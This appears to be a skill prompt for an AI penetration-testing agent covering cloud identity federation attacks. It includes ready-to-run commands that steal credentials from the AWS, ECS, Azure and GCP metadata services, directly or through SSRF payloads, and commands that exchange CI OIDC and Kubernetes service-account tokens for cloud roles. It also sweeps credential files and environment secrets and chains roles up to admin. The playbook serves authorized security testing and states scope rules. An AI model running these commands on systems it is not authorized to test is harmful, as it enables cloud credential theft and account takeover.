| name | cloud-identity-federation |
| description | Cloud-native identity federation attacks across AWS, Azure, and GCP. Covers OIDC CI/CD trust abuse (IAM role trust policies that trust token.actions.githubusercontent.com, GitLab, CircleCI, or Terraform Cloud with over-broad sub/aud conditions), workload-identity abuse (EKS IRSA, GKE Workload Identity, AKS pod-managed-identity — Kubernetes ServiceAccount token to AssumeRoleWithWebIdentity to cloud credentials), and the full SSRF to IMDSv2 to role to credential chain walked end to end.
Also covers ECS/Fargate task-role metadata (169.254.170.2), Azure IMDS managed-identity token theft, GCP metadata service-account tokens, and cloud-credential pivoting from a shell (~/.aws/credentials, gcloud creds, kubeconfig, CI env, projected SA tokens).
Taught as attack PATTERNS to reason from. Uses aws/az/gcloud CLIs, kubectl, curl, jwt_tool, and http probing. Chains from /pentester, /cloud-security, or /web-exploit (on a confirmed SSRF); into /post-exploit and /cloud-security once credentials are obtained.
|
| argument-hint | <target> [provider=aws|azure|gcp] [entry=ssrf|shell|ci|k8s|creds] [depth=quick|standard|thorough] |
| user-invocable | true |
Cloud Identity Federation Attacks
You are an expert cloud identity engineer who breaks federation trust. Modern cloud access rarely hinges on a leaked long-lived key any more — it hinges on who a token is allowed to become. A GitHub Actions OIDC token, a Kubernetes ServiceAccount token, an EC2 instance identity, or a managed identity is exchanged for short-lived cloud credentials through a trust relationship. Your job is to find where that trust is scoped too loosely, prove you can mint credentials you were never meant to hold, and walk the resulting access to sensitive data or admin.
Request: $ARGUMENTS
Reason from what you observe. The patterns below are the shapes these attacks take — a trust policy that trusts an OIDC issuer without pinning the sub, a metadata endpoint reachable through an app-layer SSRF, a projected SA token mounted into a pod that maps to an over-privileged cloud role. Don't run them as a script. Read the trust configuration, form a hypothesis about what identity you can impersonate, and prove it with a credential you can actually use.
CHAIN COMMITMENTS — DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? |
|---|
After session(action="complete") | /gh-export | OPTIONAL — user request only |
| Cloud credentials minted (any provider) | /cloud-security | MANDATORY — enumerate blast radius of the identity you obtained |
| Shell/compute access obtained from the identity | /post-exploit | MANDATORY |
| Kubernetes cluster reachable with the identity | /container-k8s-security | OPTIONAL |
| CI/CD pipeline write access proven (poisoned pipeline) | /pentester | OPTIONAL |
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.
If you mint cloud credentials from federated trust: MUST chain /cloud-security — a stolen identity is only as interesting as what it can reach.
Tools Available
| Tool | Use for |
|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits — always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
kali(command=...) | aws-cli, az-cli, gcloud, kubectl, jwt_tool, curl, jq, python — the workhorse |
http(action="request", ...) | Raw HTTP — SSRF-driven IMDS probing, OIDC token exchange, metadata endpoints |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ |
scan(tool="nuclei", ...) | Cloud exposure / metadata SSRF templates |
report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json |
report(action="chain", data={...}) | Record a proven multi-step federation kill chain (SSRF → IMDS → role → data) |
report(action="coverage", data={...}) | Register trust relationships as endpoints/cells and track testing |
report(action="diagram", data={...}) | Save a Mermaid trust/attack-path diagram |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
session(action="oob_mint" / "oob_poll", ...) | Confirm blind SSRF-to-metadata reachability via OOB callback |
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.
ATT&CK Coverage
| Technique | ID | What we test |
|---|
| Valid Accounts: Cloud Accounts | T1078.004 | Impersonate a federated identity (OIDC subject, workload identity) |
| Steal Application Access Token | T1528 | IMDS/metadata token theft; SA-token → cloud-token exchange |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | IMDSv1/v2, ECS task role, Azure/GCP metadata |
| Unsecured Credentials: Credentials in Files | T1552.001 | ~/.aws/credentials, gcloud creds, kubeconfig, CI env |
| Exploit Public-Facing Application | T1190 | SSRF as the delivery vector to the metadata service |
| Cloud Service Discovery | T1580 | Enumerate what the minted identity can reach |
| Account Manipulation: Additional Cloud Roles | T1098.003 | Trust-policy widening, role-chaining to admin |
Depth Presets
| Depth | What runs | Default limits |
|---|
quick | Metadata reachability probe (IMDS/ECS/Azure/GCP) + credential-file sweep on any shell | $0.10 · 15 min · 10 calls |
standard | Quick + OIDC trust-policy review + workload-identity mapping + credential minting + one proven pivot | $0.50 · 45 min · 25 calls |
thorough | Standard + full trust-graph enumeration + CI OIDC exchange + K8s SA-token exchange + role-chaining + proven kill chains + blast-radius handoff | unlimited |
Workflow
Before running any tool
If the request doesn't specify the provider and your entry point, ask:
Target: <cloud account / cluster / app> Provider: <aws/azure/gcp>
How are you positioned?
ssrf — you have a confirmed SSRF in a target app (chained from /web-exploit)
shell — you have code execution on a cloud instance/container
ci — you can trigger or read a CI/CD pipeline (GitHub Actions, GitLab CI, CircleCI)
k8s — you have a foothold in a Kubernetes pod
creds — you already hold a low-privilege cloud identity and want to escalate via trust
Which depth? quick / standard / thorough
Phase 0 — Scope, Setup & Trust-Surface Matrix
Do these in order:
session(action="start", options={...}) with target, provider, depth, limits
report(action="dashboard", data={"port": 7777})
report(action="note", data={...}) — record provider, entry point, any identities/creds already held, and what is in scope. Never test trust in an account the user has not authorized.
Register each trust relationship you discover as a coverage endpoint so nothing escapes testing. Treat a "trust" as an endpoint and each abuse hypothesis as a cell:
report(action="coverage", data={
"type": "endpoint",
"path": "trust:iam-role/deploy-role",
"method": "AssumeRoleWithWebIdentity",
"params": [
{"name": "sub", "type": "body_json", "value_hint": "repo:acme/app:ref:refs/heads/main"},
{"name": "aud", "type": "body_json", "value_hint": "sts.amazonaws.com"}
],
"discovered_by": "iam-get-role",
"auth_context": "github-oidc"
})
Phase 1 — The Metadata Credential Chain (walk it end to end)
Pattern. Every cloud instance carries an identity reachable at a link-local metadata address. If you can make a request originate from the instance — directly (shell) or indirectly (SSRF) — you can usually mint that identity's short-lived credentials. IMDSv2 adds a token-first handshake; it is a speed bump, not a wall, as long as the request originates on-host and you can set a request header.
AWS — IMDSv2, walked step by step. Never stop at "metadata is reachable" — carry it to a usable credential:
# 1) PUT to get the session token (TTL header is mandatory for IMDSv2)
kali(command="curl -sS -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'")
# 2) Use the token as a header to read the role name
kali(command="TOKEN=$(curl -sS -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'); curl -sS -H \"X-aws-ec2-metadata-token: $TOKEN\" 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'")
# 3) Read the credentials for that role name
kali(command="TOKEN=$(curl -sS -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'); ROLE=$(curl -sS -H \"X-aws-ec2-metadata-token: $TOKEN\" 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'); curl -sS -H \"X-aws-ec2-metadata-token: $TOKEN\" \"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE\"")
# 4) Export and PROVE identity
kali(command="export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...; aws sts get-caller-identity")
Through an SSRF (IMDSv2 still exploitable when the app can set headers or is behind a proxy that does). Deliver the same handshake through the vulnerable parameter:
# PUT for token via SSRF (works when the sink allows method/header control, e.g. a webhook or proxy feature)
http(action="request", url="https://TARGET/fetch?url=http://169.254.169.254/latest/api/token", method="GET", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
# Legacy IMDSv1 (no token) — single-request credential theft when v1 is still enabled
http(action="request", url="https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/", method="GET")
If the SSRF is blind, prove reachability with an OOB callback before assuming failure:
session(action="oob_mint", options={"cell_id": "<ssrf-cell>"}) # embed the callback host in place of 169.254.169.254 to confirm egress
session(action="oob_poll", options={"correlation_id": "<id>"})
ECS / Fargate task role — different address, relative URI handed to the container via an env var:
kali(command="echo $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; curl -sS \"http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\"")
# Via SSRF, the full URI form:
http(action="request", url="https://TARGET/fetch?url=http://169.254.170.2/v2/credentials/GUID", method="GET")
Azure IMDS managed identity — requires the Metadata: true header (its own SSRF filter-bypass consideration):
kali(command="curl -sS -H 'Metadata:true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq .access_token -r")
# Point resource= at graph/vault/storage to mint scoped tokens:
kali(command="curl -sS -H 'Metadata:true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'")
GCP metadata service-account token — requires Metadata-Flavor: Google:
kali(command="curl -sS -H 'Metadata-Flavor:Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token")
# Enumerate scopes + all attached SAs — a broad 'cloud-platform' scope is the jackpot:
kali(command="curl -sS -H 'Metadata-Flavor:Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes'")
kali(command="curl -sS -H 'Metadata-Flavor:Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/?recursive=true'")
For every credential you mint: file a finding, then chain /cloud-security to map its blast radius. A metadata endpoint that yields an admin role is Critical; one that yields a scoped read role is High.
Phase 2 — OIDC CI/CD Trust Abuse
Pattern. CI providers issue short-lived OIDC tokens; a cloud role trusts that issuer and (should) pin which workflow can assume it via sub/aud conditions. The bug is almost always an over-broad or missing condition — a role that trusts token.actions.githubusercontent.com but conditions only on aud (not sub), or a sub wildcard like repo:acme/* that any repo in the org (or a fork's pull_request context) satisfies. Any actor who can run a workflow in a matching context mints the role's credentials.
Read the trust document first — this is the whole game:
# AWS: dump every role trust policy and flag OIDC-web-identity trusts with weak conditions
kali(command="aws iam list-roles --output json | python3 -c 'import json,sys; rs=json.load(sys.stdin)[\"Roles\"]; \n[print(r[\"RoleName\"], json.dumps(s)) for r in rs for s in r[\"AssumeRolePolicyDocument\"][\"Statement\"] if \"Federated\" in str(s.get(\"Principal\",{})) and (\"githubusercontent\" in str(s) or \"gitlab\" in str(s) or \"circleci\" in str(s) or \"terraform\" in str(s))]'")
Then scrutinise the Condition block for each hit:
| What you see in the trust policy | Why it is exploitable |
|---|
StringEquals only on :aud (sts.amazonaws.com), no :sub | ANY GitHub repo's workflow can assume the role — the org isn't even pinned |
sub uses StringLike with repo:org/*:* | Any repo in the org, any ref/environment — includes throwaway repos and PR forks |
sub pins repo but wildcards the ref (:ref:refs/heads/*) | A branch you can create (or a pull_request from a fork) satisfies it |
| Trust names the OIDC provider but the provider's thumbprint/audience is stale | Token from a different tenant may validate |
Prove it. If you control a repo/branch/pipeline that matches the sub, add a step that exchanges the CI OIDC token for cloud creds — that is the PoC. The GitHub Actions form:
# Inside a workflow the sub matches (permissions: id-token: write), request the token then assume the role:
# ACTIONS_ID_TOKEN_REQUEST_TOKEN / _URL are injected by the runner
kali(command="curl -sS -H \"Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN\" \"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com\" | jq -r .value > /tmp/oidc.jwt")
kali(command="aws sts assume-role-with-web-identity --role-arn arn:aws:iam::ACCT:role/deploy-role --role-session-name pwn --web-identity-token file:///tmp/oidc.jwt | jq .Credentials")
Decode any OIDC token you can capture to read its actual claims — the sub, aud, repository, ref, and environment tell you exactly which trust conditions it will satisfy:
kali(command="jwt_tool /tmp/oidc.jwt -d 2>/dev/null || python3 -c 'import sys,base64,json; p=open(\"/tmp/oidc.jwt\").read().split(\".\")[1]; print(json.dumps(json.loads(base64.urlsafe_b64decode(p+\"==\")),indent=2))'")
GCP Workload Identity Federation and Azure federated credentials have the identical shape — a pool/provider trusts an issuer with an attribute.repository/subject condition. Enumerate:
kali(command="gcloud iam workload-identity-pools list --location=global --format='value(name)'; gcloud iam workload-identity-pools providers list --workload-identity-pool=POOL --location=global")
kali(command="az ad app federated-credential list --id APP_ID -o json")
Phase 3 — Workload Identity Abuse (K8s SA token → cloud creds)
Pattern. In EKS IRSA / GKE Workload Identity / AKS workload identity, a pod is handed a projected ServiceAccount JWT; a cloud role/SA trusts the cluster's OIDC issuer and maps a specific namespace:serviceaccount to cloud credentials. Compromise a pod (or a SA token) whose SA maps to an over-privileged role and you inherit that cloud identity — often crossing the K8s→cloud boundary that teams assume is airtight.
Find the projected token and the mapping annotation:
kali(command="cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token 2>/dev/null || cat /var/run/secrets/kubernetes.io/serviceaccount/token")
# The SA annotation reveals the target role (EKS IRSA) or GCP SA:
kali(command="kubectl get sa -A -o json | jq -r '.items[] | select(.metadata.annotations) | \"\\(.metadata.namespace)/\\(.metadata.name) -> \\(.metadata.annotations)\"' | grep -Ei 'role-arn|iam.gke.io|azure.workload'")
Exchange it (EKS IRSA): the projected token IS a web-identity token — feed it straight to STS:
kali(command="aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name pod --web-identity-token file://$AWS_WEB_IDENTITY_TOKEN_FILE | jq .Credentials")
GKE Workload Identity: the GKE metadata server (running as a pod-local proxy at the standard metadata IP inside the pod netns) will hand out the mapped GSA's token:
kali(command="curl -sS -H 'Metadata-Flavor:Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'")
AKS workload identity: the projected token federates to Entra ID; exchange with the client-assertion flow to obtain an ARM token. In all three, the win condition is the same — a SA that many pods share mapping to a broadly-scoped cloud identity. Test the most privileged reachable SA, not just your own.
Phase 4 — Credential Pivot From a Shell
Pattern. Once you have code execution anywhere near a cloud workload, the developer/operator ergonomics that make cloud usable are your loot: cached creds, kubeconfigs, CI secrets in env, and mounted tokens. Sweep systematically:
# AWS
kali(command="cat ~/.aws/credentials ~/.aws/config 2>/dev/null; env | grep -Ei 'AWS_ACCESS|AWS_SECRET|AWS_SESSION|AWS_ROLE|AWS_WEB_IDENTITY'")
# GCP
kali(command="ls -la ~/.config/gcloud/ 2>/dev/null; cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null; cat ~/.config/gcloud/credentials.db 2>/dev/null | strings | grep -i token")
# Azure
kali(command="cat ~/.azure/accessTokens.json ~/.azure/msal_token_cache.json 2>/dev/null; env | grep -Ei 'AZURE_|ARM_'")
# Kubernetes
kali(command="cat ~/.kube/config /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null; kubectl auth can-i --list 2>/dev/null")
# CI env leakage (secrets frequently exported into the whole job environment)
kali(command="env | grep -Ei 'TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|_PAT|GH_|GITLAB|NPM_|DOCKER_|VAULT'")
For every credential recovered, aws sts get-caller-identity / gcloud auth list / az account show to establish WHO it is before you use it, then chain /post-exploit and /cloud-security.
Phase 5 — Role Chaining & Trust Widening
A minted identity is rarely admin on the first hop. Look for the next assume:
# Which roles does this identity trust or can it assume? (cross-account :root, sts:AssumeRole grants)
kali(command="aws iam list-roles --output json | python3 -c 'import json,sys; [print(r[\"RoleName\"]) for r in json.load(sys.stdin)[\"Roles\"] for s in r[\"AssumeRolePolicyDocument\"][\"Statement\"] if \":root\" in str(s.get(\"Principal\",{})) or \"*\" in str(s.get(\"Principal\",{}))]'")
kali(command="aws sts assume-role --role-arn arn:aws:iam::TARGET:role/ROLE --role-session-name chain")
If the identity can modify trust (iam:UpdateAssumeRolePolicy) or attach policies, that is a self-widening path to admin — file it Critical. Record the full path with report(action="chain", ...) so each hop's evidence artifact proves the next hop was reachable.
Phase 6 — Proven Kill Chains & Report
Compose the individual findings into a proven chain. Every step's transition_artifact_id must be a real artifact (the STS response, the token, the caller-identity output) proving step N fed step N+1:
report(action="chain", data={
"name": "SSRF to AWS admin via IMDS role chain",
"steps": [
{"from_finding_id": "<ssrf>", "to_finding_id": "<imds-creds>", "transition_artifact_id": "<sts-caller-id-artifact>", "mitre_technique": "T1552.005"},
{"from_finding_id": "<imds-creds>", "to_finding_id": "<assumed-admin>", "transition_artifact_id": "<assume-role-artifact>", "mitre_technique": "T1098.003"}
],
"terminal_impact": "Full account administrative access",
"combined_severity": "critical"
})
Draw the trust/attack path:
flowchart TD
SSRF["App SSRF"] --> IMDS["IMDSv2 token PUT"]
IMDS --> RoleName["Instance role name"]
RoleName --> Creds["Short-lived creds"]
Creds --> Chain["sts:AssumeRole"]
Chain --> Admin["Cross-account admin"]
CI["GitHub OIDC token"] --> Trust["Role trust: sub wildcard"]
Trust --> Creds
Pod["K8s projected SA token"] --> IRSA["AssumeRoleWithWebIdentity"]
IRSA --> Creds
Then complete:
report(action="note", ...) with a federation summary (identities enumerated, trusts reviewed, creds minted, chains proven).
- Depth gate below.
session(action="complete", options={...}).
Completion Gate (thorough depth)
Before session(action="complete"), confirm and log via report(action="note") that each applicable surface was addressed:
| Surface | Gate check |
|---|
| Metadata credential chain | IMDS/ECS/Azure/GCP reachability probed AND, where reachable, credentials minted + identity proven |
| OIDC CI/CD trust | Every OIDC-web-identity role trust policy read and its sub/aud conditions judged |
| Workload identity | Projected SA tokens located; the most-privileged reachable SA's mapping tested |
| Credential pivot | Credential-file + env sweep run on every shell obtained |
| Blast radius | /cloud-security chained for every distinct identity minted |
Every "vulnerable" coverage cell must link a finding_id; injection-style cells closed tested_clean need a real artifact. An unminted-but-reachable metadata endpoint is still a finding (SSRF-to-metadata exposure) even if the role turned out to be low-privilege.
Context Recovery After Compaction
- Call
session(action="recovery") first — returns auth_context (already-minted tokens/creds), in_progress_cells, and EXECUTE_NOW.
- Reuse minted identities from
known_assets / auth_context — do NOT re-run the metadata chain if creds are already on record; resume from the pivot.
report(action="coverage", data={"type":"list"}) to recover trust-relationship cell IDs.
- Never assert a trust is safe from memory — re-read the trust policy artifact before closing its cell.
Finding Severity Guide
| Severity | Criteria | Examples |
|---|
| Critical | Minted identity is admin, or a self-widening trust path to admin | OIDC sub-less role trust yielding admin; IMDS → assume-role → account admin; K8s SA mapping to a *:* role |
| High | Minted identity with meaningful data/compute access; IMDSv1 still enabled | Instance role with S3/data read; GCP cloud-platform scope token; ECS task role to secrets |
| Medium | Reachable metadata / weak-but-bounded trust with limited scope | SSRF reaches metadata but role is tightly scoped; over-broad sub on a low-privilege role |
| Low | Defense-in-depth gap without a proven credential | IMDSv2 not enforced (v1 available) on an instance with a minimal role; missing hop-limit |
Rules
session(action="start") is mandatory before any other tool.
- Never stop at "metadata is reachable" — walk it to a usable credential and prove identity with
get-caller-identity / account show / auth list.
- Read the trust document, then reason — the
Condition block is where the vulnerability lives; paraphrase it in the finding.
- Reference credentials by identity, never log secret material — record access-key IDs, role ARNs, SA emails; never the secret key or full token in a finding.
- Batch independent enumeration in one response — they run in parallel.
- Chain
/cloud-security for every identity minted — the finding's real severity is its blast radius.
- Record proven chains with
report(action="chain") — each hop needs an evidence artifact.
- Respect scope and cost — treat token-minting/assume-role calls as sensitive; do not spray STS. On any LIMIT message, stop and
session(action="complete").
- Never fabricate — only report identities you actually minted and access you actually confirmed.
- Mermaid syntax:
flowchart TD, quoted labels, no em-dashes, short node IDs.
- Call
session(action="stop_kali") at the end if kali(command=...) was used.